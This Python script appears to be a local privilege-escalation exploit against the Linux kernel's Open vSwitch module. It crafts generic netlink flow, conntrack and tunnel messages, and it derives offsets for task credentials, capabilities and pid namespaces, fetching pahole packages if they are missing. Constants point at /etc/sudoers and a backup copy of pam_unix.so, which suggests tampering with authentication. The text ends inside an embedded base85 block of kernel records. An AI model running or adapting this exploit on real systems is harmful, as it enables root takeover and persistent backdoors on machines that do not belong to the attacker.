#!/usr/bin/env python3 from __future__ import annotations import base64 import errno import glob import json import os import pwd import re import shlex import shutil import socket import struct import subprocess import sys import time import urllib.error import urllib.request import zlib from dataclasses import dataclass, fields from typing import Any NLMSG_HDR = "IHHII" GENL_HDR = "BBH" NLA_HDR = "HH" NLM_F_REQUEST = 1 NLM_F_ACK = 4 NLM_F_CREATE = 0x400 NETLINK_GENERIC = 16 GENL_ID_CTRL = 0x10 NLMSG_ERROR = 2 CTRL_CMD_GETFAMILY = 3 CTRL_ATTR_FAMILY_ID = 1 CTRL_ATTR_FAMILY_NAME = 2 OVS_DATAPATH_VERSION = 2 OVS_FLOW_VERSION = 1 OVS_DP_CMD_NEW = 1 OVS_DP_ATTR_NAME = 1 OVS_DP_ATTR_UPCALL_PID = 2 OVS_DP_ATTR_USER_FEATURES = 5 OVS_FLOW_CMD_NEW = 1 OVS_FLOW_CMD_DEL = 2 OVS_FLOW_CMD_GET = 3 OVS_FLOW_ATTR_KEY = 1 OVS_FLOW_ATTR_ACTIONS = 2 OVS_KEY_ATTR_IN_PORT = 3 OVS_KEY_ATTR_ETHERNET = 4 OVS_KEY_ATTR_ETHERTYPE = 6 OVS_KEY_ATTR_IPV4 = 7 OVS_KEY_ATTR_TCP = 9 OVS_KEY_ATTR_TUNNEL = 16 OVS_KEY_ATTR_TCP_FLAGS = 18 OVS_KEY_ATTR_TUNNEL_INFO = 31 OVS_ACTION_ATTR_CT = 12 OVS_ACTION_ATTR_CLONE = 20 OVS_ACTION_ATTR_OUTPUT = 1 OVS_ACTION_ATTR_SET = 3 OVS_ACTION_ATTR_POP_VLAN = 5 OVS_CT_ATTR_COMMIT = 1 OVS_CT_ATTR_LABELS = 4 OVS_CT_ATTR_HELPER = 5 OVS_CT_ATTR_TIMEOUT = 9 OVS_TUNNEL_KEY_ATTR_IPV4_SRC = 1 OVS_TUNNEL_KEY_ATTR_IPV4_DST = 2 OVS_TUNNEL_KEY_ATTR_TOS = 3 OVS_TUNNEL_KEY_ATTR_TTL = 4 OVS_TUNNEL_KEY_ATTR_TP_SRC = 9 OVS_TUNNEL_KEY_ATTR_TP_DST = 10 OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE = 16 ETH_P_IP = 0x0800 IPPROTO_TCP = 6 BTF_DIR = "/sys/kernel/btf" NLA_HEADER_SIZE = 4 KERNEL_BASE_SYMBOL = "_text" REQUIRED_SYMBOLS = ( KERNEL_BASE_SYMBOL, "module_ktype", "init_pid_ns", ) HOST_USER_ENV = "OVS_C004_HOST_USER" HOST_WRITER_PID_ENV = "OVS_C004_HOST_WRITER_PID" HOST_WRITER_TRIGGER_FD_ENV = "OVS_C004_HOST_WRITER_TRIGGER_FD" HOST_WRITER_ACK_FD_ENV = "OVS_C004_HOST_WRITER_ACK_FD" SUDOERS_FILE = "/etc/sudoers" SUDOERS_DROPIN_DIR = "/etc/sudoers.d" PAM_UNIX_SO = "/lib/x86_64-linux-gnu/security/pam_unix.so" PAM_UNIX_BAK = "/lib/x86_64-linux-gnu/security/pam_unix.so.bak" CARRIER_TIMEOUT = "timeout" CARRIER_LABELS_ONLY = "labels-only" CARRIER_AUTO = "auto" CARRIER_ORDER = (CARRIER_TIMEOUT, CARRIER_LABELS_ONLY) CT_ACTION_COUNT = 400 DWARVES_PKG_DIRNAME = "dwarves_pkg" DWARVES_ROOT_DIRNAME = "dwarves_root" def _dwarves_lib_dirs(root: str) -> list[str]: lib_dirs: list[str] = [] for rel in ( "usr/lib64", "usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu", "usr/lib", ): path = os.path.join(root, rel) if os.path.isdir(path): lib_dirs.append(path) return lib_dirs def _apply_dwarves_env(root: str) -> None: bin_dir = os.path.join(root, "usr/bin") lib_dirs = _dwarves_lib_dirs(root) os.environ["PATH"] = ( bin_dir + ":/usr/bin:/bin:" + os.environ.get("PATH", "") ) if lib_dirs: os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs) + ":" + os.environ.get( "LD_LIBRARY_PATH", "" ) def _pahole_runnable() -> bool: if shutil.which("pahole") is None: return False try: subprocess.run( ["pahole", "--version"], capture_output=True, check=True, env=os.environ, ) return True except (subprocess.CalledProcessError, OSError): return False def _directory_allows_exec(base: str) -> bool: try: os.makedirs(base, exist_ok=True) probe = os.path.join(base, ".ovs_c004_exec_probe") with open(probe, "w", encoding="ascii") as handle: handle.write("#!/bin/sh\n") os.chmod(probe, 0o755) subprocess.run([probe], check=True, capture_output=True) os.remove(probe) return True except OSError: return False def _pick_dwarves_base() -> str: env_base = os.environ.get("OVS_C004_DWARES_BASE") candidates: list[str] = [] if env_base: candidates.append(env_base) home = os.path.expanduser("~") if home and home != "~": candidates.append(os.path.join(home, ".cache", "ovs_c004")) candidates.extend(("/var/tmp/ovs_c004", "/tmp")) for base in candidates: if _directory_allows_exec(base): return base raise RuntimeError( "kernel needs dynamic derivation via pahole, but no writable directory " "allows executing binaries (/tmp may be mounted noexec; set " "OVS_C004_DWARES_BASE to a path under $HOME)" ) def _dwarves_paths(base: str) -> tuple[str, str]: return ( os.path.join(base, DWARVES_PKG_DIRNAME), os.path.join(base, DWARVES_ROOT_DIRNAME), ) def _try_existing_dwarves_root(root: str) -> bool: pahole_bin = os.path.join(root, "usr/bin/pahole") if not os.path.isfile(pahole_bin): return False try: os.chmod(pahole_bin, 0o755) except OSError: return False _apply_dwarves_env(root) return _pahole_runnable() def _detect_pkg_family() -> str: if shutil.which("apt-get") or shutil.which("apt"): return "debian" if shutil.which("dnf") or shutil.which("yum"): return "rhel" raise RuntimeError( "kernel needs dynamic derivation via pahole, but no supported package " "manager was found (need apt/apt-get or dnf/yum) and pahole is not installed" ) def _host_rpm_arch() -> str: machine = os.uname().machine if machine in ("x86_64", "amd64"): return "x86_64" if machine in ("aarch64", "arm64"): return "aarch64" return machine def _filter_rpms_for_host(rpm_paths: list[str]) -> list[str]: arch = _host_rpm_arch() matched = [ path for path in rpm_paths if path.endswith(f".{arch}.rpm") or f".{arch}." in os.path.basename(path) ] return sorted(matched or rpm_paths) def _extract_rpm_tree(rpm_path: str, root: str) -> None: log(f"bootstrap: extracting {rpm_path}") proc = subprocess.run( f"rpm2cpio {shlex.quote(rpm_path)} | cpio -idmv", shell=True, cwd=root, capture_output=True, text=True, ) if proc.returncode != 0: raise RuntimeError( f"failed to extract {rpm_path}: {proc.stderr or proc.stdout}" ) def _pahole_failure_detail(root: str) -> str: pahole_bin = os.path.join(root, "usr/bin/pahole") lines = [f"pahole_bin={pahole_bin} exists={os.path.isfile(pahole_bin)}"] if not os.path.isfile(pahole_bin): return "\n".join(lines) try: os.chmod(pahole_bin, 0o755) except OSError as exc: lines.append(f"chmod failed: {exc}") _apply_dwarves_env(root) proc = subprocess.run( [pahole_bin, "--version"], capture_output=True, text=True, env=os.environ, check=False, ) lines.append(f"pahole --version rc={proc.returncode}") if proc.stdout.strip(): lines.append(f"stdout: {proc.stdout.strip()}") if proc.stderr.strip(): lines.append(f"stderr: {proc.stderr.strip()}") if shutil.which("ldd"): ldd = subprocess.run( ["ldd", pahole_bin], capture_output=True, text=True, check=False, ) ldd_out = (ldd.stdout or ldd.stderr).strip() if ldd_out: lines.append(f"ldd:\n{ldd_out}") return "\n".join(lines) def _bootstrap_pahole_rhel(pkg_dir: str, root: str) -> None: pkg_mgr = "dnf" if shutil.which("dnf") else "yum" for tool in (pkg_mgr, "rpm2cpio", "cpio"): if shutil.which(tool) is None: raise RuntimeError( f"kernel needs dynamic derivation via pahole, but {tool!r} is " "missing and pahole is not installed" ) if os.path.isdir(root): shutil.rmtree(root) os.makedirs(pkg_dir, exist_ok=True) os.makedirs(root, exist_ok=True) log(f"bootstrap: fetching dwarves RPMs (+ deps) via {pkg_mgr}") resolved = subprocess.run( [pkg_mgr, "download", f"--destdir={pkg_dir}", "--resolve", "dwarves"], capture_output=True, text=True, check=False, ) if resolved.returncode != 0: log( "bootstrap: --resolve dwarves failed, trying explicit package list " f"({resolved.stderr or resolved.stdout or resolved.returncode})" ) subprocess.run( [ pkg_mgr, "download", f"--destdir={pkg_dir}", "dwarves", "libdwarves1", "libdwarves", "elfutils-libelf", "elfutils-libdw", ], check=True, ) rpm_paths = _filter_rpms_for_host(sorted(glob.glob(os.path.join(pkg_dir, "*.rpm")))) if not rpm_paths: raise RuntimeError(f"RPM download failed under {pkg_dir}") # libs/elf 先解,dwarves(pahole) 最后 def _rpm_sort_key(path: str) -> tuple[int, str]: base = os.path.basename(path) if base.startswith("dwarves-"): return (2, base) return (1, base) for rpm_path in sorted(rpm_paths, key=_rpm_sort_key): _extract_rpm_tree(rpm_path, root) pahole_bin = os.path.join(root, "usr/bin/pahole") if not os.path.isfile(pahole_bin): raise RuntimeError( f"pahole binary not found after RPM extract: {pahole_bin}" ) os.chmod(pahole_bin, 0o755) def _bootstrap_pahole_debian(pkg_dir: str, root: str) -> None: apt = shutil.which("apt-get") or shutil.which("apt") dpkg_deb = shutil.which("dpkg-deb") if apt is None or dpkg_deb is None: raise RuntimeError( "kernel needs dynamic derivation via pahole, but apt/apt-get or " "dpkg-deb is missing and pahole is not installed" ) os.makedirs(pkg_dir, exist_ok=True) os.makedirs(root, exist_ok=True) log(f"bootstrap: fetching pahole DEBs via {apt}") primary = subprocess.run( [apt, "download", "pahole"], cwd=pkg_dir, capture_output=True, text=True, check=False, ) if primary.returncode != 0: raise RuntimeError( "DEB download failed for pahole: " f"{primary.stderr or primary.stdout or primary.returncode}" ) for pkg in ("libdwarves1", "libdw1t64", "libdw1", "libelf1t64", "libelf1"): subprocess.run( [apt, "download", pkg], cwd=pkg_dir, capture_output=True, text=True, check=False, ) deb_paths = sorted(glob.glob(os.path.join(pkg_dir, "*.deb"))) if not deb_paths: raise RuntimeError(f"DEB download produced no .deb files under {pkg_dir}") for deb_path in deb_paths: log(f"bootstrap: extracting {deb_path}") proc = subprocess.run( [dpkg_deb, "-x", deb_path, root], capture_output=True, text=True, check=False, ) if proc.returncode != 0: raise RuntimeError( f"failed to extract {deb_path}: {proc.stderr or proc.stdout}" ) pahole_bin = os.path.join(root, "usr/bin/pahole") if not os.path.isfile(pahole_bin): raise RuntimeError( f"pahole binary not found after DEB extract: {pahole_bin}" ) os.chmod(pahole_bin, 0o755) def ensure_pahole_available() -> None: """Download/extract pahole when absent (Debian/apt or RHEL/dnf/yum).""" if _pahole_runnable(): return base = _pick_dwarves_base() pkg_dir, root = _dwarves_paths(base) if _try_existing_dwarves_root(root): log(f"bootstrap: using existing pahole tree at {root}") return family = _detect_pkg_family() if family == "debian": _bootstrap_pahole_debian(pkg_dir, root) else: _bootstrap_pahole_rhel(pkg_dir, root) _apply_dwarves_env(root) if not _pahole_runnable(): detail = _pahole_failure_detail(root) raise RuntimeError( "pahole bootstrap completed but pahole is still unavailable in PATH " f"(install root={root})\n{detail}" ) log(f"bootstrap: pahole ready at {shutil.which('pahole')} (base={base})") def align4(value: int) -> int: return (value + 3) & ~3 def nla(attr_type: int, payload: bytes) -> bytes: length = 4 + len(payload) if length > 0xFFFF: raise ValueError(f"netlink attribute too long: {length}") return ( struct.pack(NLA_HDR, length, attr_type) + payload + (b"\x00" * (align4(length) - length)) ) def cstr(value: str) -> bytes: return value.encode("ascii") + b"\x00" @dataclass(frozen=True) class Attr: attr_type: int payload: bytes raw_len: int @dataclass(frozen=True) class SymbolOffsets: module_ktype: int init_pid_ns: int @dataclass(frozen=True) class KernelOffsets: nf_conntrack_helper_me: int module_kobj_ktype: int vmlinux_module_ktype: int vmlinux_init_pid_ns: int task_pid: int task_cred: int task_pid_links: int cred_fsuid: int cred_fsgid: int cred_cap_permitted: int cred_cap_effective: int pid_namespace_idr: int idr_idr_rt: int idr_base: int xarray_xa_head: int xa_node_shift: int xa_node_slots: int pid_tasks: int hlist_head_first: int dst_entry_ref: int dst_entry_ref_kind: str metadata_dst_tun_info: int ip_tunnel_key_ipv4_src: int ip_tunnel_key_ipv4_dst: int ip_tunnel_key_tos: int ip_tunnel_key_ttl: int ip_tunnel_key_tp_src: int ip_tunnel_key_tp_dst: int ovs_ct_labels: int ovs_ct_action_len: int @dataclass(frozen=True) class TunnelReadLane: name: str field_offset: int attr_type: int payload_index: int optional_zero: bool @dataclass(frozen=True) class KernelBuildRecord: release: str version: str machine: str offsets: KernelOffsets read_carrier: str write_carrier: str read_lanes: tuple[str, ...] ovs_key_attr_tunnel_info: int @dataclass(frozen=True) class KernelParameterPlan: name: str offsets: KernelOffsets record: KernelBuildRecord | None KERNEL_RECORDS_DESCRIPTION = "the embedded pre-derived kernel record table" # BEGIN EMBEDDED KERNEL RECORDS _KERNEL_RECORDS_B85 = (b"c-rmVU2h%7+2;H6=TkJYPZBtbsJiQ=tLw~&Y~ay`Y~zuGAbT(n7RhCqTQn(9q!VSZ{n>X{FH&lf-Mw0?Sxu_>&u}mqiIEeE`uX-%_sjqKucG)r_5Ur3KmE2o`t{^&^QTz+>EFS>@%B%D-TuV+FTZ@)Tz;s3V*8o(4;@`>j^7-u-@n=X^2_Gv^5pmQA9Mb%_kRBU=Hj=L%gfDi{qr{5{`p@%ygf-jZshKdUo}52pFjWj!{wXJ+2zH@Hy4{<>Ywtq`={Q#J2^}L(LcR;b8&Q)KKIk-{d#&*f99{7b^RAOx%hBdf0p|6lPAX)Zw}WV(*FwWZ~bWczZZ8t`Td*AtFyDs>6>?(k8e)i|8CzLH@}{iq0jknaa4a!==qe(^AESbgm-@W{q1r+?dAu8-H3>-0;fPkeK7_RD$t!pr9`?{DYFSErjd@6HeZ-#70rKfZ6iMDqE+#Mv)zj?T~OumAe!UH#QPt$)Mc{FXk+e*T>E-#@%Lx_q;)zfsQ5-kfgEnlH1x`}3#k!_Dc3+yBw`C&zEj*1v5&yk8$}(r?DC---0Im+KGjKHUC&OF#4`eJeHJT<*?Kyx)FvmDb+-@i(U@XU#7rq4l5o{kQsuul`+sbxtmu&pJz=VssE~TmMyWKJDf!cJsw5mAAI_-|pY*H)rR^n>QbRJ^AJKH`b@0IX%C;^L6<5`r=~!@lE|1={q=mA2mPo|K0o%t-pflw|ISdd2#bwe)F4IU4PC+`qn?Hf1Q&}`YQhE^5nP8`PJp0+CP1|KHH?f^8fnum8riiKYy9(Z=lcrpXU4Rjk@qUOoATf`KfiA-KGfeg>C^u&UA%tvQ}NUPeD~d}pMHMx;-5c!`|7{{R(yYPQoLG!EVL_>jbfq>#dj}$E<}mH`BnaPadNro`k((_*Iz{xL_rip!ADlG{`Y$-`193ft6)__7G8-M+42qfyam3Ru{NZ3%&Gt?FDpjF%bhX=*+qjL}l-s!dl-*7-Nh-I?LfdGnC?(}KY{NEe!*+JI&E9PPV{_cFtyL3~glG+J<2G*NHg0Ek+wJZ4&%a)6-PVN)(dlR%ZsRs?6K{WY{TUCUp!U(2D2}ig1yPXdmFhKn^;+)j_N()4SS(VgGK!Aksa|m#x2axn`w6>!lNP65XcMi8rlj7+ZQQ2b#_jBGSJUh5Dy7BBMN7Sn+qjL}xSic?*?)#5O<^aujVhFnBGEF1joY|QPJ-L{-Ij^(lBY#oZmZ}dIz>zZ+ptZ!4ckwd?WWv5O*1Sy8i`7%wqYB#VH>uyvpsc&<+KRtQBs#tv*`o2VVjTyw)3-XA0Q-2z1tFJ{mzMYAHD2R2UgLFEuVq4keOmaYzAmHVnGdh=8n5v>v)69#1iRV#?3$~FKH5i|RB2h#3AU3Suzfe!Ey(u)d-KcD+2vOTwv}CAyPaU$VX&>)33eOguLf-04YpLlc7kmyKLEB@VHeo-pE2uNzvVq(r_XaLFkihGuw4zdR>7>^zT0$B9jeve53kNHuNty%TIYM)1Q8s(%0v~1*K6Mr75IQIO7tmRf1Xv`MOmEEZuR!)eJ9bjE9^`+qEyMYNQ}(aR&cFYCDXV)%OVz6ecEhmD5e6@*4;q7H=4FZ4jv;rat<#~?ULqcl+mO6OO)QoT_}dB5}S^m^l+siIIwLo`Iwc?Z$?iSFyXtM2cOu8Fp3yT8^Pn}ukICXI&ZS%~gQqy62Uj+90xqRXg#v;-Xx4bgK29oCH6rDT+1m(ucx9*Cp;-E~SSjuxpuqOzO>M`@HMjz;PHO6%S@I^4}VnioTx;%G&4G(J7QrT#n)uq>14|6E;k*3nw2yZzD4nXIx|9j#f{fzl|=qajMqp>)rq;T@w}y?5y*xQmukh8T^}yc%Nk3`Y078s6)@`|;?q@XdCA8?8fVghpr{4G}uK&;yT#Wq)gj`1%8-Q5vP^QhHn+Z4`C%;*^%&N5iTs>JXPUDp?a1Gb|7d(L5SL^bADzKN{-JV}@lK23MXj7L-Qm`5q0+5i2{=qoJ^}V}VNdJ{sz~VMkL*t7e0=j)plFjK=7>9u0$xTdQOhMlaClo=3xb9n$I1P)wmz)b$5QDHPjV>Ed*M&~!WH;$c|T%yrEd34p4N2ha!K1$%p5TYS^zNo`_H7e@RhUUBF5j~JcS6z9u)JogvB)Sr%Q5vP^X^|eav7`PxHg+sfX*<*+ZSJ>7pQb?;(Mf4)X_Q83;trIaLFt~jqht5oi_K9XsgO2h6o`gsh$ilU==?;{SA21X>@aq1)?DuqKTv-dLE+tBWc@pGfTTd*)(oQmo!SFG+ojtJ%iG{UDCF@kk&pr6QzP^h=yoh4Iw%|(eK7Aze}%%FV|;H|DB6sqWNUB$7qbkXr2u*I+xKy&xZH*-~Dj@d;M)yC>_&&C3cj;G)&LMv=5^$gd6c(2wxi0zW>?Kbd9oTlMWkNACt!_ty=EYRq_hr@dt@S2B1U+9n$Y2$e~#AuA>;Si&<8$I-J*vGU;Z8ZHIFb&f@9Kv*drpx|^L)#U1NJy(Y(s4ru4lx>|c{s%A8I10KIP^U$|F_dDoX$dNl;+_OrDssO_uMx=A~Xiq@bsN~1LIhA5p`>Cpdf=1?xxyu65AkDKONY8WZY(4m=la84VMMFb&g$9Wb4nY1&_%-(hrqqX)Y0ZZq9Vq@^Z03QD6iN|Q*VbZ(`6eF30M&~!WH<5N-3p;ePNLrWCc#Otqj3({C=a@_NS+68f!!%68G=T?9XJ%Tfp}?c+T2yLubKB5Fp-~#8QJP{JrE@E-`=1U&-@IXn;-VOg#%PSDlE&!#M)y|IqPnhxYnLi%RYk>F7L-P5o(@quztVkAhobv8cW4`Jz-Wxd=$X=v%GyzBhZBrmn$gmqc2s>chudKm8l^EBqi3t5Ll{>_dp6)L&*c@jdZso!qeiviNeCp<3uD?2GhN=_;88Q(+@dw6mKvsE8m3_yrn55b^dQq--_NE`3z5|4Aud{&hH03FX_(H;^l&!q<^EjDX?j9bRkR^mfoYhAX_$uTyi5;g)85>@O8f2A+jN!IM^i=}P#UFCdM2f<8F%qeag}yyO8a4@Z}sE7USBp!S7`uINwglNQ5vOD8m03pT@EW<-iuHDeYR{^FvDO*7rC{FGA_zHjh%@jXWBqb)iDkWmL?zz%)$5G)!k^diedYytj3!VcHh8(N4D}#bFwzVH&1kIuFysvn{2)JA(Mb`R|EoQK@NK6MDcjOv5xxXJ$GKGkyQ`;rguDF2{2$$3tn9o=@r0je9^eEXP}z(&g|2Vo*Iw`?SvE^VTJlMro8rX_U^R^zZ{>xOe>U`^{nD3z2ATbgVE%X_Q83l+LX5@cUu7w;S)(`l41^nESW);QN@?QR&vsC76b3n1*SX&cpQZoOmejZS#14kw#lYnzJpmdB8MG!!%51X1W??y6QS8?o#FE$(kPA6D2>utln%pf9+keId3T!Zb|J$aHA^RR@`_1g4k8^zaK}b#KvhVp>$1ZBdWgkLUa_(=9)4GcDarw<-{ro|9=&OJdsgFx~pLyU(<Rz(~F<65BsnW`zTR!m8eFfw%Qz+13T90?XB+9>xN|ATo-&atBDhc6P}>et#8X)R_mcS!O5;TK}v5*Yj^H5YCf;@k9J+q=pL)LU+&fU+382T{vxmafv&k$2gjR3tq*Kit$#c2R$4bo|MWlKefR38pWnRr=MUe$`tQFLFE)oK>$4*LGP;zN{-gPYu5|I|<-7g+2H_A6;d>Kqtg-FGuYH8qpXb{D00ZHRBmC&}{OTCUfgH%G#ew{5g}jTq%KY2#4@FYH=Gz)#BO*2wyJY(`#`c2XY{%7T*VQ`UxKZaXpFevWssS;G6bB=!WiRUxP#UgU~&_{swRW2k^(Ky`8e7YVRNxz!wC#l__MqYPF@>t+cF+f@-LS>a0{tB_nF>^m&e2dudcpuCW0dumPLe8nEX8yPOnGU>Gk`sLmq}~%-9a@}Lp8NEROg}kL3Wk^Hedrbwe=%|y#u?+dp%lX;2!2+4(6y!sY`Rzr4O{f1F!)bu&GM{J2TkR_jHUK>xOEmhU$l@t#@BB+}75u?{TPJ1l13+j{~p)8?dRZ0XsL?lXq`?rdkt&Ks8iTTSIjwsvl(624Dj=VBZ4UDCxPE8`KckmFxt&6g>*;`ttyLNnmRuD{adI5q+@!?LTKVx@O>9Znxb(Uu}wS-(M6(D71;%MrVt^|NOUfKG#7vbVE0EL-)heZCBc&wH*`ZcbVGM$x}~Pu?N9eVHpj)Q^~a(p3sps}qN|`Ax}kd(x^++^t}Ld{vxYqnr>UuE&J2`>in#Dd39D4QfL>oj#fc8bVE0ELw82HbxpUMMt2HK65YBi>XKWkXiMmZZs>+?=*~;Guj#hcRJu=#LKiwjrK2J+fo|xAZs^WUcX=RAO`!YNtA=i^3T>lx(FN#+Zs>+?=*~#DUFlNQbnEF=w|1#H&>5<3=!Wk3=r+cWqT4$+?=!Wk6bbCK7F!}cCZE6mz={AZE6X=F+=!WjRbcdR5Q`24UPxtGqvxaW5g)-6UsF+?=*~#DQ#IZ8Kx)1x1tzaI?~9_U|2##}Q9N`*H*`ZcbZ4a7)O5Q832HjsVv6K;6@@`~=!S0ShVGnnyP9ra(>-w{=f|VVChK;o!$cf(LpO9oH*{yD+t+lLHQjzX-J;X_Dea>pFoAC9hHmK2Nq2gt3^mOd+xjqVqlqcjMwTq5JEnyQ=BdHQnWOy0`nfjb`a9bVE0ELwA0SGZs>;Y2dCTXnr>6m9VQOK*K|vn0u!ZM&4JJj-Ovr)(4B#9Q`7Bhx+m^1`F?YlrYW_L#zhO=&<)+t4c$5Ewkuuv1EVHPQ+|JOQoLGU6opT8>$>VT&<)+t4c*Y4k#1kpUDkBFX<2uoyB1qj%}9=iZs>+?=!Wi$bcamqH8n7)>9%S8lq;jAIS{&`8@i!8Gu>KE3rs#$-5~`g&PS)A8@izzx}iHW-KM5nPrH(n=+-vv>#p@S4!WTmx}h7oGtw=!S0ShVB{YuBJUxCc4F?zHaNHrmq{ip&PoPJ15?EDV*=gK4c(vU)a`m=$=lpziT*I;KfmbYdO4u-?|zHP)d}Hd-H*0c)@Z>k(;oJ5H#z`tjYr~vBa0i=Ht={PC_qsQ~%a<=e)vnMgs`7D9?4sO4lnV<|&N%5*F37->om6Jmlbs2=G^LCP6QrtqSc-BxOiMSgN`GMM|C3a^+PvF)sk2C$+o=DsTU_zei=QzK(=hF+m{$K|e`tMIJs;DmeMq}GF;YvWT+~%G6{JBLq|HKFNZqcZ%Cyp2V#KAyh+DetK_xZZ=0J}qNTqjaX44nj?0_()u1V1wz0vzA>0KA3WkByG>s?L9JADXvgEx3ndV}{Yc-y@T@0(d-F@=&SI7IZX-iz0Ru$h-)dDwgQ`G|Z+;D%;jAC-`n05@<`aRc}KaPOU#nCl^Iif-)2Zi;T~&TO}+2}Sp3xV4KaL_^UH+`vuI4cw0a_r6894(WEDqUgqM?560(?)-Mk{zdoAreUp%y5iP4+Cb3_+`vuI{YWe89u72JrM<%1P>BK>paB|{==_!F7o`YoyCo{ux>Cys^RTzA&dh5CcE1h|2lq8qrs7PzZ)3{lhN4BWsC+`#<^aDP!+(zZM8^C0QQZtNy4!R|TiuJ$jwZ_XeVI>p@ehjOGPzzy6K-M~FR++S35x9zs+>VV;i61%aRq8q!j+ild;q`QXO6snn`6dJmL8@MUDf%_5Q-XrO5?A9htQCdyWjosKy(T&~N?bZ*FbcY1D=;$m(H*f^pD+H*f>@Bf!1aB#t!80+z`fX+@|2h?fKpQ;;iJ=`eQmFoVJ$KdQ);kH*`~SL-!1Hn<-6!$!%SwF&yjD(h^E;+{SH6Zrq;R?Jw&IY|-tTwI%d(LpO9&azpnFblWK@cXC@op{nGzWjQx)<2EHXZqM)b7mwjw)2(eZWps*?8@i#JlKX+^zNPgo$NTBt$zEv4+cO)!sQ)LWY*h5Yjo4YmHhMp?)2V^x)lSvl87arsG|C}1Vk7o^uXa0aGt&}Z@#$c=l+jsi!!~T2$2KKm$JiEv4OF9xsz$BZKkR)!3C(9h5Y{lseQvJyI%mnF7S)5K2aztAD~|2TYquH_qD{J93(tyHyA{x7(V+qj+4ZC_Phk8<04OQpR;w~tQGua40hz0rHYRkwM9opIYQ_v-xY^do|Qx!|sxUU|Fnp50onbcx;AjonYA@^&S!l1p@Za^;QQ=#Ad}dK(|Q^wzpDAD|_$G+l0s#%4RtZf(V)_u}+6Q{BdEyvFONS8X$Ivrw-eq}oPp)JAQxZPd=Jc6fknJ9MQZngeCHjoW0~xSiAO>D4xRqc?g}b))xedRJq8^7_JUT*xJ*Kad5F==@%c#YS1O)ocIXY~3(a&FW{ZPcd9en7QvL4Awx8?{IIHa!V$*~VQMY{NDxQYzAn73o7Iz_^XuxP9Ag({Vu{{q@UM8^ry~0->YWyzREpW#yC_<92Dh;%e@a+&0}O1%5dB_m8hTrT+P9Q@p%7D~hT}=LCFIzWDpk+e-tzP;dW0tj^C)KY}$_Q)JI`e9>~mYf)G~!12Y(-fwL7E726$xQ*LSd>|!RqSp^nZKF17qxMWE&a1MN_Gn4Mpt*sJ&9F)5{NgUN}!YrwixSN9|!6reQiC)6V%yMike!w5napyJuN7N>&0Nv0H-TCRZ)@fh*ozpbw6|?61>9vZqXEoq^AHLtq>TONW`T6R&wq8r#JkeH+rKt<2C3#x87!|+bypxUgI@hGhTz&8NGgxY8$mt8?_m);bn3TxhIX-q#&gJCX801Euk8!p_&mJ3hX>gPZ+VmX`IGsf@_@4?6iM?;M%t%5H^h9HC_{3<8@ZArw7-ljoPUFG)HR6Czys1Tu+pH|9P6%>&xvVWT-!)*eHg18t8`ZJ9LNcg1dA>1$Xef3T`V_hidmAyBK3bJ57h~1<-8{v|4GU4t_bZ>WhciU!9*7-@d;niZan{b#&#;5W9nJ=!S0ShVGnn%a(3EiS8;Y9Zi64=!WhY=?+1SqFWP~ERJryf7P89kR-abYUp-R9CSlBbVE0E&qDX!RrejbC8`R#p&PoP8@gwpTlTNIUtetllXM-yMQft7&<)+t4c*W^3*CEH-M8s>QtJ)f&<))@Q$lxsy2G@h`_;OZ+Z4)0<)aehMsDOrZseXr?nyOwOKwBbjoiqM+{itP+|`7ddwsc;yDF59QbtW@AaWx&awGRFa_?Vr-4QM+4PR4b@N$)w!wGy;MsV)u|h#$v~t~bxCbT_3=S9R6irCtL}3M?Mnt7J$ylpq1xL~8Az!Vogj;%TFP_`VRLbE)QNTH+v2@NQCFMhC_;_5E~5$2UXRZpH*zC)Ub&Z_Uf;s{7UTVL?@-SSs%OTj_v_WRWL1S$QQW7c)ToDgsFzPYvD#H5&UYDO>$3K1UaoXkz8$K0lSVOQul4%PC`QwO;7l}JMgcTHn-eq{Q^px*Y{?Ma!u}zA(vIflAHC0-9nC%(6E&MFpc}fMU@clYVbSOE=r&urWg^{TqxR4Z-OxQF-Kvx^Rkv6hpnF+#o9UNiMHkwzq8Yi78@Z8tKDj3!lHJN}t0>gm$c@}{${nm4_jK3#FM-?(k$dm7q+zv;?`48@Z8t7P%*-C7eNomPvxwVg$oEy23o0=QBXOP=JK+Rn>n@ilNn}o=X+{jJMjoj1ao?dfT%{5ug;u7RW?x(qPN&<^Z7AAL?uyX3xt48j$?Kurll5-f!jTv=x7P*ldxmojy+|%WrUUN5cOBo&g+{lgG^T{pcxZV<5nbLFIa4BlL1FdexaP}O1zj|9}m)LeLYT+I&WJC5$WREPiP5sG`y(qF}(#-oc*)F;=Di7I^4cYUM?Ylm$D<26~LH2UUHv1RZDH~}n;8aO$RYju_8?h04rXsu4qjC`)LO|>#i7ivo?3UQ+>^Wj1Heyp_BX&Nq?X(~}i7jQb39yQq8XK_@n;ILjvx+?_$Nns~kx|=75F4=(n;ILj_Z8diUt_1+WG}Byi^3OLMIEB0#zt(!rp89>tYXWQYm(Put14~$(5F4?XdPMAuVwVq4W0&btyYo@g-G|tS{nTn~h8`Ct_VgON7Q0L{kD6W)#71mtY{bqec9>pci>?0{MRC#a@`%`oO^uD%S;d}QV<)jq+M4aiu@M`wsj(3|qu5nlW9vQpvDcT)Ca84JSE32ArW>&l8?mXe5j&&UvK3ncI(@qn`~p1a_#E5hiqLb<=bCT$o~4tmT!(XhuW;xza4)G*Dp4QC+oA~`qx4_mJ#B4v3QBa-L1JxGfuIDkA)9O)va^ysX>axo**+T0z7fcV?D?{7XGUh*nk}pgBHK)lw#~h4L{%&0$wp8cwKFH%%G+_twj&!^pxTpzZS2Nw?0%eF+mE{j$@Y>d76aLVp3(jk8+#ezb%GN)ikHYb$cdX?#8loW@k~mPmK6w3Vr>$aY>erAa4xJ`(Ky1V&aX{?MVo%z{bS<{7qAjCVh>h5Y{lsc)YZYQIM{GB(#(uqdUlcZF#8#p+h>h5Y{lseQlFsL4i9M;tz7gA}n*yQ{8?h04rW(5~F*WwH5!+9wv9C5;v8zHP)*psc1hEl&F0q4E?C^MgVwclX5v@~=ZFSUK6hLgmo+}k8jc0|&a};}WDw4!5qxI2oPyn$Jn;ILjGm0Jdud%{jdo?6>d&x%s&JJfJjM>?7>u(!~{gsPd9;j4fm#g)^K6FuC{vq~2*#o`$`{C8u(fNYaMmf+Ux|@U=7v;AYh#bYpwbM5Uu*!^%B*(N>p1H#X&VxLp2>BP@SLZz7CLXtlM$5q`5^$2m;n%OT0NlYVvBR&QEoJUOlX}_;gZNg;@U^v_@;RCIvz3yjtsl